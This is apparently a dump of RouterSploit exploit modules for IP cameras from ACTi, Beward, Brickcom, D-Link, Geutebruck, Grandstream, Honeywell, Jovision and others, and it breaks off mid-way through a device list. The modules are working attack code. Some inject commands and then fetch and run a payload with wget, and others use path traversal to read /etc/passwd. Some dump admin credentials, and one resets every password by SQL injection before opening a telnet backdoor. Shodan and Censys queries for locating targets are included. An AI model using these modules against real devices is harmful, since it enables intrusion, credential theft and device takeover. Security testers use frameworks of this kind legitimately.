    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.exploit import shell\nfrom routersploit.core.exploit.option import OptIP, OptPort\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"ACTi ACM-5611 Video Camera RCE\",\n        \"description\": \"Module exploits ACTi ACM-5611 Video Camera Remote Command Execution Exploit\",\n        \"authors\": (\n            \"Todor Donev <todor.donev@gmail.com>\",  # vulnerability discovery\n            \"GH0st3rs\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploitalert.com/view-details.html?id=34128\",\n            \"https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html\",\n        ),\n        \"devices\": (\n            \"ACM5611-08G-X-00485\",\n        ),\n        \"search\": (\n            'Shodan search: title:\"Web Configurator\" http.html:\"ACTi\"',\n            'Censys search: services.http.response.html_title:\"Web Configurator\" and services.http.response.body:\"ACTi\"',\n            'Zoomeye search: title:\"Web Configurator\" +\"ACTi\"',\n            'Fofa search title=\"Web Configurator\" && body=\"ACTi\"',\n        )\n    }\n    \n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(8080, \"Target HTTP port\")\n\n    def execute(self, cmd: str) -> str:\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/cgi-bin/test\",\n            params={'iperf': f';{cmd}'},\n            headers={\"Content_Type\": \"application/x-www-form-urlencoded\", \"Referer\": f'http://{self.target}:{self.port}'}\n        )\n        if response and response.status_code == 200:\n            return response.text\n        return ''\n\n    def check(self) -> bool:\n        response = self.http_request(method=\"GET\", path=\"/cgi-bin/test\")\n        if response:\n            response = self.http_request(method='GET', path='/')\n            if response and 'Web Configurator' in response.text:\n                return True\n        return False\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seams %s:%d is vulnerable\", self.target, self.port)\n            shell(\n                self,\n                architecture=\"armle\",\n                method=\"wget\",\n                location=\"/var/\",\n                exec_binary=['chmod 777 {}', '{}']\n            )\n            # print_status('Target: %s:%d => output: \"%s\"', self.target, self.port, self.execute(self.command))\n        else:\n            print_error(\"Exploit failed - target %s:%d seems to be not vulnerable\", self.target, self.port)\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/avigilon/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/cameras/avigilon/videoiq_camera_path_traversal.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Avigilon VideoIQ Camera Path Traversal\",\n        \"description\": \"Module exploits Avigilon VideoIQ Camera Path Traversal vulnerability. If target is vulnerable \"\n                       \"it is possible to read file from file system.\",\n        \"authors\": (\n            \"Yakir Wizman\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/40284/\",\n        ),\n        \"devices\": (\n            \"VideoIQ Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(8080, \"Target HTTP port\")\n\n    filename = OptString(\"/etc/passwd\", \"File to read from filesystem\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n\n            path = \"/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C..{}\".format(self.filename)\n\n            response = self.http_request(\n                method=\"GET\",\n                path=path\n            )\n\n            if response is None:\n                print_error(\"Exploit failed - could not read response\")\n                return\n\n            print_status(\"Trying to read file: {}\".format(self.filename))\n            if any(err in response.text for err in [\"Error 404 NOT_FOUND\", \"Problem accessing\", \"HTTP ERROR 404\"]):\n                print_status(\"File does not exist: {}\".format(self.filename))\n                return\n\n            if response.text:\n                print_info(response.text)\n            else:\n                print_status(\"File seems to be empty\")\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        path = \"/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd\"\n\n        response = self.http_request(\n            method=\"GET\",\n            path=path\n        )\n\n        if response and utils.detect_file_content(response.text, \"/etc/passwd\"):\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/beward/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/cameras/beward/n100_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"BEWARD N100 RCE\",\n        \"description\": \"BEWARD N100 H.264 VGA IP Camera M2.1.6 Root Remote Code Execution.\"\n                       'shodan search: WWW-Authenticate: Basic realm=\"N100 H.264 IP Camera\"'\n                       'censys search: services.http.response.headers.www_authenticate:\"N100 H.264 IP Camera\"'\n                       'zoomeye search: \"headers:\\\"N100 H.264 IP Camera\\\"',\n        \"authors\": (\n            \"@0x616163\",  # vulnerability discovery\n            \"GH0st3rs\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/46319\",\n        ),\n        \"devices\": (\n            \"BEWARD N100 H.264 VGA\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(8080, \"Target HTTP port\")\n\n    def execute(self, cmd: str) -> str:\n        response = self.http_request(\n            method=\"GET\",\n            path='/cgi-bin/operator/servetest',\n            headers={\"Authorization\": \"Basic YWRtaW46YWRtaW4=\"},\n            params={\n                'cmd': 'ntp',\n                'ServerName': 'pool.ntp.org',\n                'TimeZone': f'03:00|{cmd}||'\n            }\n        )\n        if response:\n            return response.text\n        return ''\n\n    def check(self) -> bool:\n        response = self.http_request(method='GET', path='/')\n        if response:\n            if response.headers.get('WWW-Authenticate') and 'N100 H.264' in response.headers.get('WWW-Authenticate'):\n                return True\n        return False\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seams %s:%d is vulnerable\", self.target, self.port)\n            print_status(\"lets try armle\")\n            shell(\n                self,\n                architecture=\"armle\",\n                method=\"wget\",\n                location=\"/var/\",\n                exec_binary=['chmod 777 {}', '{}']\n            )\n            # print_status('Target: %s:%d => output: \"%s\"', self.target, self.port, self.execute(self.command))\n        else:\n            print_error(\"Exploit failed - target %s:%d seems to be not vulnerable\", self.target, self.port)\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/brickcom/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/cameras/brickcom/corp_network_cameras_conf_disclosure.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Brickcom Corp Network Camera Conf Disclosure\",\n        \"description\": \"Module exploits Brickcom Corporation Network Camera Configuration Dislosure vulnerability. If target is vulnerable \"\n                       \"it is possible to read device configuration including administrative credentials.\",\n        \"authors\": (\n            \"Orwelllabs\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/39696/\",\n        ),\n        \"devices\": (\n            \"Brickcom FB-100Ae IP Box Camera - Firmware Version: v3.0.6.12 (release:09/08/2010 14:46)\",\n            \"Brickcom WCB-100Ap Wireless Camera - Firmware Version: v3.0.6.26 (release:01/21/2011 18:31)\",\n            \"Brickcom VD-202Ne Vandal Dome Camera - Firmware Version: v37019_Promise (release:2015-10-01_18:46:07)\",\n            \"Brickcom VD-300Np Vandal Dome Camera - Firmware Version: v3.7.0.23T (release:2016-03-21_10:08:24)\",\n            \"Brickcom VD-E200Nf Vandal Dome Camera - Firmware Version: v3.7.0.5T (release:2015-06-25_11:18:07)\",\n            \"Brickcom OB-202Ne Bullet Camera - Firmware Version: v3.7.0.18R (release:2015-09-08_18:40:11)\",\n            \"Brickcom OB-E200Nf Bullet Camera - Firmware Version: v3.7.0.18.3R (release:2015-10-16_11:36:46)\",\n            \"Brickcom OB-200Np-LR Bullet Camera - Firmware Version: v3.7.0.18.3R (release:2015-10-15_11:30:46)\",\n            \"Brickcom OB-500Ap Bullet Camera - Firmware Version: v3.7.0.1cR (release:2016-01-18_10:07:03)\",\n            \"Brickcom GOB-300Np Bullet Camera (Unique Series) - Firmware Version: v3.7.0.17A (release: 2015-07-10_11:36:41)\",\n            \"Brickcom OB-200Np-LR Bullet Camera (Unique Series) - Firmware Version: v3.7.0.18.3R (release: 2015-10-15_11:30:46)\",\n            \"Brickcom MD-300Np Mini Dome Camera - Firmware Version: v3.2.2.8 (release:2013-08-01)\",\n            \"Brickcom CB-102Ae V2 Cube Camera - Firmware Version: v3.0.6.12 (release: 09/07/2010 11:45)\",\n            \"Brickcom FD-202Ne Fixed Dome Camera - Firmware Version:v3.7.0.17R (release: 2015-08-19_18:47:31)\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def __init__(self):\n        self.paths = (\n            \"/configfile.dump?action=get\",\n            \"/configfile.dump.backup\",\n            \"/configfile.dump.gz\",\n            \"/configfile.dump\",\n        )\n\n        self.content = None\n        self.valid_path = None\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n            print_status(\"Dumping configuration...\")\n            print_status(\"URL: {}\".format(self.get_target_url(path=self.valid_path)))\n\n            dump_size = 10000\n            if len(self.content) > dump_size:\n                print_status(\"Content too big to display - showing first {} characters.\".format(dump_size))\n                print_info(self.content[:dump_size])  # max 10000 characters\n                print_info(\"(..)\")\n            else:\n                print_info(self.content)\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        for path in self.paths:\n            response = self.http_request(\n                method=\"GET\",\n                path=path,\n            )\n\n            if response is None:\n                break\n\n            if any([setting in response.text for setting in [\"DeviceBasicInfo\", \"UserSetSetting\", \"DDNSSetting\"]]):\n                self.content = response.text\n                self.valid_path = path\n                return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/brickcom/users_cgi_creds_disclosure.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Brickcom Camera Credentials Disclosure\",\n        \"description\": \"Exploit implementation for miscellaneous Brickcom cameras with 'users.cgi'.\"\n                       \"Allows remote credential disclosure by low-privilege user.\",\n        \"authors\": (\n            \"Emiliano Ipar <@maninoipar>\",  # vulnerability discovery\n            \"Ignacio Agustin Lizaso <@ignacio_lizaso>\",  # vulnerability discovery\n            \"Gaston Emanuel Rivadero <@derlok_epsilon>\",  # vulnerability discovery\n            \"Josh Abraham\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/42588/\",\n            \"https://www.brickcom.com/news/productCERT_security_advisorie.php\",\n        ),\n        \"devices\": (\n            \"Brickcom WCB-040Af\",\n            \"Brickcom WCB-100A\",\n            \"Brickcom WCB-100Ae\",\n            \"Brickcom OB-302Np\",\n            \"Brickcom OB-300Af\",\n            \"Brickcom OB-500Af\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def __init__(self):\n        self.credentials = (\n            (\"admin\", \"admin\"),\n            (\"viewer\", \"viewer\"),\n            (\"rviewer\", \"rviewer\"),\n        )\n\n        self.configuration = None\n\n    def run(self):\n        if self.check():\n            print_success(\"Target appears to be vulnerable\")\n            print_status(\"Dumping configuration...\")\n            print_info(self.configuration)\n        else:\n            print_error(\"Exploit failed - target does not appear vulnerable\")\n\n    @mute\n    def check(self):\n        for username, password in self.credentials:\n            response = self.http_request(\n                method=\"GET\",\n                path=\"/cgi-bin/users.cgi?action=getUsers\",\n                auth=(username, password)\n            )\n\n            if response is None:\n                break\n\n            if any([re.findall(regexp, response.text) for regexp in [r\"User1.username=.*\", r\"User1.password=.*\", r\"User1.privilege=.*\"]]):\n                self.configuration = response.text\n                return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/cisco/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/cameras/cisco/video_surv_path_traversal.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Cisco Video Surveillance Path Traversal\",\n        \"description\": \"Module exploits path traversal vulnerability in Cisco Video Surveillance Operations Manager 6.3.2 devices. \"\n                       \"If the target is vulnerable it allows to read files from the filesystem.\",\n        \"authors\": (\n            \"b.saleh\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/38389/\",\n        ),\n        \"devices\": (\n            \"Cisco Video Surveillance Operations Manager 6.3.2\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    filename = OptString(\"/etc/passwd\", \"File to read from the filesystem\")\n\n    def run(self):\n        if self.check():\n            path = \"/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../..{}\".format(self.filename)\n\n            response = self.http_request(\n                method=\"GET\",\n                path=path\n            )\n\n            if response and response.status_code == 200 and len(response.text):\n                print_success(\"Exploit success\")\n                print_status(\"Reading file: {}\".format(self.filename))\n                print_info(response.text)\n            else:\n                print_error(\"Exploit failed - could not read file\")\n        else:\n            print_error(\"Exploit failed - device seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        path = \"/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/passwd\"\n\n        response = self.http_request(\n            method=\"GET\",\n            path=path\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if response.status_code == 200 and utils.detect_file_content(response.text, \"/etc/passwd\"):\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/dlink/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/cameras/dlink/dcs_930l_932l_auth_bypass.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DCS Cameras Authentication Bypass\",\n        \"description\": \"D-Link DCS web cameras allow unauthenticated attackers to obtain the \"\n                       \"configuration of the device remotely. A copy of the device configuration \"\n                       \"can be obtained by accessing unprocteted URL. \",\n        \"authors\": (\n            \"Roberto Paleari\",  # vulnerability discovery\n            \"Dino Causevic\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/24442/\",\n        ),\n        \"devices\": (\n            \"D-Link DCS-930L, firmware version 1.04\",\n            \"D-Link DCS-932L, firmware version 1.02\"\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(8080, \"Target HTTP port\")\n\n    def __init__(self):\n        self.config_content = None\n\n    def run(self):\n        if self.check():\n            print_success(\"Target appears to be vulnerable.\")\n\n            admin_id = None\n            admin_password = None\n\n            if self.config_content and len(self.config_content):\n\n                for line in self.config_content.split(\"\\n\"):\n                    line = line.strip()\n\n                    m_groups = re.match(r\"AdminID=(.*)\", line, re.I | re.M)\n                    if m_groups:\n                        print_success(\"Found Admin ID.\")\n                        admin_id = m_groups.group(1)\n\n                    m_groups = re.match(r'AdminPassword=(.*)', line, re.I | re.M)\n                    if m_groups:\n                        print_success(\"Found Admin password.\")\n                        admin_password = m_groups.group(1)\n                        break\n\n                print_table((\"AdminId\", \"Password\"), (admin_id, admin_password))\n\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/frame/GetConfig\"\n        )\n\n        if response and response.status_code == 200 and len(response.content):\n            self.config_content = self._deobfuscate(response.content)\n\n            if self.config_content and any([x in self.config_content for x in [\"AdminID=\", \"AdminPassword=\"]]):\n                return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n\n    def _deobfuscate(self, config):\n\n        def chain(lambdas, value):\n            r_chain = None\n\n            for lambda_function in lambdas:\n                r_chain = value = lambda_function(value)\n\n            return r_chain\n\n        arr_c = [chain([\n            lambda d: (d + ord('y')) & 0xff,\n            lambda d: (d ^ ord('Z')) & 0xff,\n            lambda d: (d - ord('e')) & 0xff\n        ], t) for t in config]\n\n        arr_c_len = len(arr_c)\n        tmp = ((arr_c[arr_c_len - 1] & 7) << 5) & 0xff\n\n        for t in reversed(range(arr_c_len)):\n\n            if t == 0:\n                ct = chain([\n                    lambda d: (d >> 3) & 0xff,\n                    lambda d: (d + tmp) & 0xff\n                ], arr_c[t])\n            else:\n                ct = (((arr_c[t] >> 3) & 0xff) + (((arr_c[t - 1] & 0x7) << 5) & 0xff)) & 0xff\n\n            arr_c[t] = ct\n\n        tmp_str = \"\".join(map(chr, arr_c))\n        ret_str = \"\"\n\n        if len(tmp_str) % 2 != 0:\n            print_error(\"Config file can't be deobfuscated.\")\n            return None\n\n        half_str_len = int(len(tmp_str) / 2)\n        for i in range(half_str_len):\n            ret_str += tmp_str[i + half_str_len] + tmp_str[i]\n\n        return ret_str\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/geuterbruck/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/cameras/geuterbruck/efd_2250.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Geutebruck G-Cam/EFD-2250 RCE\",\n        \"description\": \"This module exploits a an arbitrary command execution vulnerability. The\"\n                       \"vulnerability exists in the /uapi-cgi/viewer/simple_loglistjs.cgi page and allows an\"\n                       \"anonymous user to execute arbitrary commands with root privileges.\",\n        \"authors\": (\n            \"Nicolas Mattiocco\", #CVE-2018-7520 (RCE)\n            \"Davy Douhine\" #CVE-2018-7520 (RCE) and metasploit module\n            \"GH0st3rs\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/44957\",\n            \"https://ics-cert.us-cert.gov/advisories/ICSA-18-079-01\"\n        ),\n        \"devices\": (\n            \"5.02024 G-Cam/EFD-2250\",\n        ),\n        \"search\": (\n            'Zoomeye search: app:\"Geutebruck IP Cameras httpd\" +after:\"2021-05-06\"',\n            'Censys search \"Geutebruck\"',\n            'Fofa search: app=\"GEUTEBRUCK\"',\n            'Shodan search: \"Geutebruck\"',\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def execute(self, cmd: str) -> str:\n        header = \"(){ :;}; \"\n        self.http_request(\n            method='GET',\n            path=f\"/uapi-cgi/viewer/simple_loglistjs.cgi?{header}{cmd}\",\n        )\n        return ''\n\n    def check(self) -> bool:\n        response = self.http_request(method='GET', path=\"/uapi-cgi/viewer/simple_loglistjs.cgi\")\n\n        if response is None:\n            return False\n\n        # Lots of devices are redirecting. This triggers a false positive.\n        if response.status_code == 307:\n            return False\n\n        if response:\n            return True\n        return False\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seams %s:%d is vulnerable\", self.target, self.port)\n            shell(\n                self,\n                architecture=\"armle\",\n                method=\"wget\",\n                location=\"/var/\",\n                exec_binary=['chmod 777 {}', '{}']\n            )\n        else:\n            print_error(\"Exploit failed - target %s:%d seems to be not vulnerable\", self.target, self.port)\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/grandstream/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/cameras/grandstream/gxv3611hd_ip_camera_backdoor.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.telnet.telnet_client import TelnetClient\n\n\nclass Exploit(TelnetClient):\n    __info__ = {\n        \"name\": \"Grandsteam GXV3611 HD - Backdoor\",\n        \"description\": \"Module exploits an SQL injection vulnerability in Grandstream GXV3611_HD IP cameras. \"\n                       \"After the SQLI is triggered, the module opens a backdoor on TCP/20000 and connects to it.\",\n        \"authors\": (\n            \"pizza1337\",       # exploit author\n            \"Joshua Abraham\",  # routesploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/40441/\",\n            \"http://boredhackerblog.blogspot.com/2016/05/hacking-ip-camera-grandstream-gxv3611hd.html\",\n        ),\n        \"devices\": (\n            \"Grandstream GXV3611 HD\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    username = OptString(\"admin\")\n    password = OptString(\"\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target appears to be vulnerable...\")\n\n            telnet_client = self.telnet_create()\n            telnet_client.login(self.username, self.password)\n\n            print_status(\"Triggering backdoor to start telnet server\")\n            telnet_client.read_until(\"> \")\n            telnet_client.write(\"!#/ port lol\\r\\n\")  # Backdoor command triggers telnet server to startup.\n            telnet_client.read_until(\"> \")\n            telnet_client.write(\"quit\\r\\n\")\n            telnet_client.close()\n\n            print_success(\"SQLI successful, going to telnet into port 20000 \"\n                          \"with username root and no password to get shell\")\n\n            telnet_client = self.telnet_create(port=20000)\n            if telnet_client.login():\n                telnet_client.interactive()\n\n        else:\n            print_error(\"Exploit failed. Target does not appear vulnerable\")\n\n    @mute\n    def check(self):\n        telnet_client = self.telnet_create()\n        telnet_client.connect()\n\n        res = telnet_client.read_until(\"login:\")\n        if res and \"Grandstream\" in res:\n            return True\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/grandstream/gxv3611hd_ip_camera_sqli.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.telnet.telnet_client import TelnetClient\n\n\nclass Exploit(TelnetClient):\n    __info__ = {\n        \"name\": \"Grandsteam GXV3611 HD - SQL Injection\",\n        \"description\": \"Module exploits an SQL injection vulnerability in Grandstream GXV3611_HD IP cameras. \"\n                       \"After the SQLI is triggered, the module opens a backdoor on TCP/20000 and connects to it.\",\n        \"authors\": (\n            \"pizza1337\",       # exploit author\n            \"Joshua Abraham\",  # routesploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/40441/\",\n            \"http://boredhackerblog.blogspot.com/2016/05/hacking-ip-camera-grandstream-gxv3611hd.html\",\n        ),\n        \"devices\": (\n            \"Grandstream GXV3611 HD\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target appears to be vulnerable...\")\n\n            telnet_client = self.telnet_create()\n            telnet_client.connect()\n\n            telnet_client.read_until(tn, \"Username: \")\n            telnet_client.write(\"';update user set password='a';--\\r\\n\")  # This changes all the passwords to 'a'\n            telnet_client.read_until(\"Password: \")\n            telnet_client.write(\"nothing\\r\\n\")\n            telnet_client.read_until(\"Username: \")\n            telnet_client.write(\"admin\\r\\n\")\n            telnet_client.read_until(\"Password: \")\n            telnet_client.write(\"a\\r\\n\")  # Login with the new password\n            telnet_client.read_until(\"> \")\n            telnet_client.write(\"!#/ port lol\\r\\n\")  # Backdoor command triggers telnet server to startup.\n            telnet_client.read_until(\"> \")\n            telnet_client.write(\"quit\\r\\n\")\n            telnet_client.close()\n\n            print_success(\"SQLI successful, going to telnet into port 20000 \"\n                          \"with username root and no password to get shell\")\n\n        else:\n            print_error(\"Exploit failed. Target does not appear vulnerable\")\n\n    @mute\n    def check(self):\n        telnet_client = self.telnet_create()\n        telnet_client.connect()\n\n        res = telnet_client.read_until(\"login:\")\n        if res and \"Grandstream\" in res:\n            return True\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/honeywell/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/cameras/honeywell/hicc_1100pt_password_disclosure.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Honeywell IP-Camera HICC-1100PT Password Disclosure\",\n        \"description\": \"Module exploits Honeywell IP-Camera HICC-1100PT Password Dislosure vulnerability. \"\n                       \"If target is vulnerable it is possible to read administrative credentials.\",\n        \"authors\": (\n            \"Yakir Wizman\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/40261/\",\n        ),\n        \"devices\": (\n            \"Honeywell IP-Camera HICC-1100PT\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def __init__(self):\n        self.content = None\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n            print_info(self.content)\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/cgi-bin/readfile.cgi?query=ADMINID\",\n        )\n\n        if response and \"Adm_ID\" in response.text:\n            self.content = response.text\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/jovision/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/cameras/jovision/jovision_credentials_disclosure.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\nimport json\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Jovision camera credential disclosure\",\n        \"description\": \"Exploit implementation for jovision IP camera Credential Disclosure vulnerability. \"\n                       \"If target is vulnerable details of user accounts on the device including usernames and passwords are returned.\",\n        \"authors\": (\n            \"aborche\",  # vulnerability discovery\n            \"casept\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://habr.com/ru/post/318572/\",  # Original post in Russian\n            \"https://weekly-geekly.github.io/articles/318572/index.html\"  # English translation\n        ),\n        \"devices\": (\n            \"JVS-N63-DY\"\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n\n            response = self.http_request(\n                method=\"GET\",\n                path=\"/cgi-bin/jvsweb.cgi?cmd=account&action=list\"\n            )\n            if response is None:\n                print_error(\"Exploit failed - connection error\")\n                return\n\n            # The camera returns a JSON document with accounts, parse it\n            j_resp = json.loads(response.text)\n\n            # Some cameras have multiple accounts configured, list all of them\n            accounts = list()\n            for acc in j_resp:\n                account = list()\n                account.append(acc.get(\"acDescript\"))  # Account description\n                account.append(acc.get(\"acID\"))  # Account username\n                account.append(acc.get(\"acPW\"))  # Acccount password\n                # There seems to be some kind of permission level system for users\n                # 20 seems to always be admin, normal users have <20\n                if acc.get(\"nPower\") >= 20:\n                    account.append(\"Yes\")\n                else:\n                    account.append(\"No\")\n                accounts.append(account)\n\n            print_success(\"Accounts found:\")\n            print_table((\"Description\", \"Username\", \"Password\",\n                         \"Administrator\"), *accounts)\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/cgi-bin/jvsweb.cgi?cmd=account&action=list\"\n        )\n\n        if response is not None and response.status_code == 200:\n            res = re.findall(\".*acID.*\", response.text)\n            if len(res) > 0:\n                return True\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/multi/P2P_wificam_credential_disclosure.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"P2P wificam credential disclosure\",\n        \"description\": \"A credential disclosure in several cameras which utilize the GoAhead webserver.\",\n        \"authors\": (\n            \"Pierre Kim <pierre.kim.sec@gmail.com>\",  # CVE-2017-8225 and others\n            \"casept <davids.paskevics@gmail.com>\",  # routesploit module\n        ),\n        \"references\": (\n            \"https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html\",\n        ),\n        'devices': (\n            '3G+IPCam Other',\n            '3SVISION Other',\n            '3com CASA',\n            '3com Other',\n            '3xLogic Other',\n            '3xLogic Radio',\n            '4UCAM Other',\n            '4XEM Other',\n            '555 Other',\n            '7Links 3677',\n            '7Links 3677-675',\n            '7Links 3720-675',\n            '7Links 3720-919',\n            '7Links IP-Cam-in',\n            '7Links IP-Wi-Fi',\n            '7Links IPC-760HD',\n            '7Links IPC-770HD',\n            '7Links Incam',\n            '7Links Other',\n            '7Links PX-3615-675',\n            '7Links PX-3671-675',\n            '7Links PX-3720-675',\n            '7Links PX3309',\n            '7Links PX3615',\n            '7Links ipc-720',\n            '7Links px-3675',\n            '7Links px-3719-675',\n            '7Links px-3720-675',\n            'A4Tech Other',\n            'ABS Other',\n            'ADT RC8021W',\n            'AGUILERA AQUILERA',\n            'AJT AJT-019129-BBCEF',\n            'ALinking ALC',\n            'ALinking Other',\n            'ALinking dax',\n            'AMC Other',\n            'ANRAN ip180',\n            'APKLINK Other',\n            'AQUILA AV-IPE03',\n            'AQUILA AV-IPE04',\n            'AVACOM 5060',\n            'AVACOM 5980',\n            'AVACOM H5060W',\n            'AVACOM NEW',\n            'AVACOM Other',\n            'AVACOM h5060w',\n            'AVACOM h5080w',\n            'Acromedia IN-010',\n            'Acromedia Other',\n            'Advance Other',\n            